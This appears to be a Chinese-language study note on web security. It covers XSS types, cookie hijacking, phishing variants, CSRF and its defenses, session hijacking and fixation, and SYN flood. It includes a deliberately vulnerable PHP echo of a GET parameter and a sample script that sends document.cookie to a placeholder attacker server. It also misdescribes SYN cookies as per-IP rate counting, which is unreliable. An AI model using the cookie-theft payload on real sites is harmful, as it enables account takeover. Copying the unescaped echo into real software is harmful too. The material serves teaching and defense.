一、定义:黑客通过“html注入”篡改了网页,插入了恶意的脚本,从而在用户游览网页时,控制用户游览器攻击的一种行为。
二、分类:
1. 反射性xss:把用户输入的数据反射给游览器(诱使用户“点击”一个恶意的链接)篡改链接->用户访问->跳转执行脚本
<code><?php</code>
<code>echo $_get["test"];</code>
<code>?></code>
用户提交:ip?test=<script>alert("test")</script>。游览器即会执行相应的脚本
2. 存储型xss:把用户输入的数据“存储”在服务器端。如黑客上传含有恶意js代码的博客文章到网站服务器,访客游览网页博客时,在他们的游览器中恶意执行这段代码
3. dom base xss:通过修改网页dom节点形成的xss。当网站通过表单让用户输入内容而实现动态修改网页dom节点的交互功能时,若黑客恶意构造特定格式脚本内容,就可能造成dom base xss。
三、危害
1. xss可实现cookie劫持:攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。
比如可以在网站上嵌入<script>window.open('hackersever?msg='+document.cookie)</script>。将用户cookie发送至攻击者的服务器,服务器获取用户cookie,攻击者即可利用其登录到用户账户中。
2. 通过模拟get、post请求操作用户的游览器。如在用户登录邮箱后获取其邮件信息。(先通过正常抓包获取相应访问链接及其请求内容,再通过模拟请求获取)
3. xss钓鱼
(1)xss重定向钓鱼(xss redirect phishing):将当前页面重定向到仿冒正常网站的页面中,进行欺诈活动
(2)html注入式钓鱼(xss html inject phishing):如动态嵌入一个form表单,诱使用户填写相应信息进行盗取
(3)xss 跨框架钓鱼(iframe phishing):通过<iframe>标签嵌入远程域的一个页面实施钓鱼。,而此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性。
四、xss的防御
1. 设置httponly->防御cookie劫持攻击,如果cookie设置了httponly,js就读取不到cookie的值。httponly在服务器第一次返回发送set-cookie时(同时向客户端游览器写入cookie)标记,它可以选择性地加在任何一个cookie上
2.输入检查(xss filter):如对特殊符号进行转义,特殊语句进行检查过滤等。尤其对于富文本(用户提交一些自定义的html代码)“事件“应该被严格禁止,同时也应包括一些比较危险的标签如<iframe>、<script>、<base>、<form>等。
一、 定义:攻击者盗用用户身份,并以用户身份发送恶意请求。csrf攻击是源于web的隐式身份验证机制。web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。一般来说,完成一次攻击需经过两步:
1.登录受信任网站a,并在本地生成cookie。 2.在不登出a的情况下,访问危险网站b。
二、csrf的防御
1. 服务与客户端交互进行csrf防御:先构造third-party cookie。同时在表单中增加经过hashing的cookie值随表单提交发送到服务器,在服务器获取cookie和表单加密cookie进行hash校验。
2. 验证码校验,用户每次提交请求需填写一个图片上的随机字符串,理论上可以完全解决csrf的问题
3. one-time tokens(不同的表单包含一个不同的伪随机值),实现思路:
(1)编写token生成函数
(2)在每次生成表单时,调用token生成函数,增添隐藏域存储token,考虑到不同的表单包含一个不同的伪随机值,还需同时生成访问对应token的索引
(3)服务端核对token,表单提交时,服务端根据提交的索引获取session域对应token,与提交的token进行核对。
一、 注入攻击的本质,是把用户输入的数据当做代码执行。其中有两个关键点:
1、用户能够控制输入。
2、原本程序要执行的代码,平走了用户输入的数据
二、session安全
当用户登录认证后,在服务器端就会创建一个新的会话(session),会话中保存用户的状态和相关信息,同时生成一个游览器端对用户透明的凭证,即为sessionid
1、session劫持:黑客通过窃取用户sessionid后,使用该sessionid登录进目标用户。
2、session fixation攻击:用户登录前后的sessionid未发生改变,就会存在此问题。具体的攻击过程为:攻击者先获取一个未认证的sessionid,并将其交给用户认证,若用户认证后,服务器并未更新此sessionid的值,攻击者就可以凭借此sessionid登录用户账户。如果sessionid保存在cookie中,攻击者较难让用户使用这个sessionid,但如果由于youlan游览器不支持cookie等原因,sessionid做为参数出现在url时,攻击者只要诱使用户打开特定url即可。而解决session
fixation的正确做法,是在登录完成后,重写sessionid
3、session保持攻击,一般来说,session是有生命周期的,当用户长时间未活动,或者注销用户后,用户session将会被销毁。但如果攻击者窃取并一直持有用户有效的session(比如间隔性的刷新网页),就能一直使用用户的账户,形成session保持攻击。
在sever收到syn,seq后,处于半连接状态,发送数据包并等待client回应,由于client在短时间内伪造大量不存在的ip地址,并向server不断地发送syn包,server回复确认包,并等待client的确认,由于源地址是不存在的,因此,server需要不断重发直至超时,这些伪造的syn包将产时间占用未连接队列,导致正常的syn请求因为队列满而被丢弃,从而引起网络堵塞甚至系统瘫痪
其中syn cookie是对抗syn flood的主要措施之一,它的主要思想是为每一个ip地址分配一个"cookie",并统计每个ip地址的访问频率。如果在短时间内收到大量来自同一个ip地址的数据包,则认为受到攻击,之后来自这个ip地址的包将被丢弃。
攻击流程如下所示:
黑客伪造受害者id
->向大量服务器发送请求
->大量服务器响应请求(发送应答包)
->受害者主机忙于处理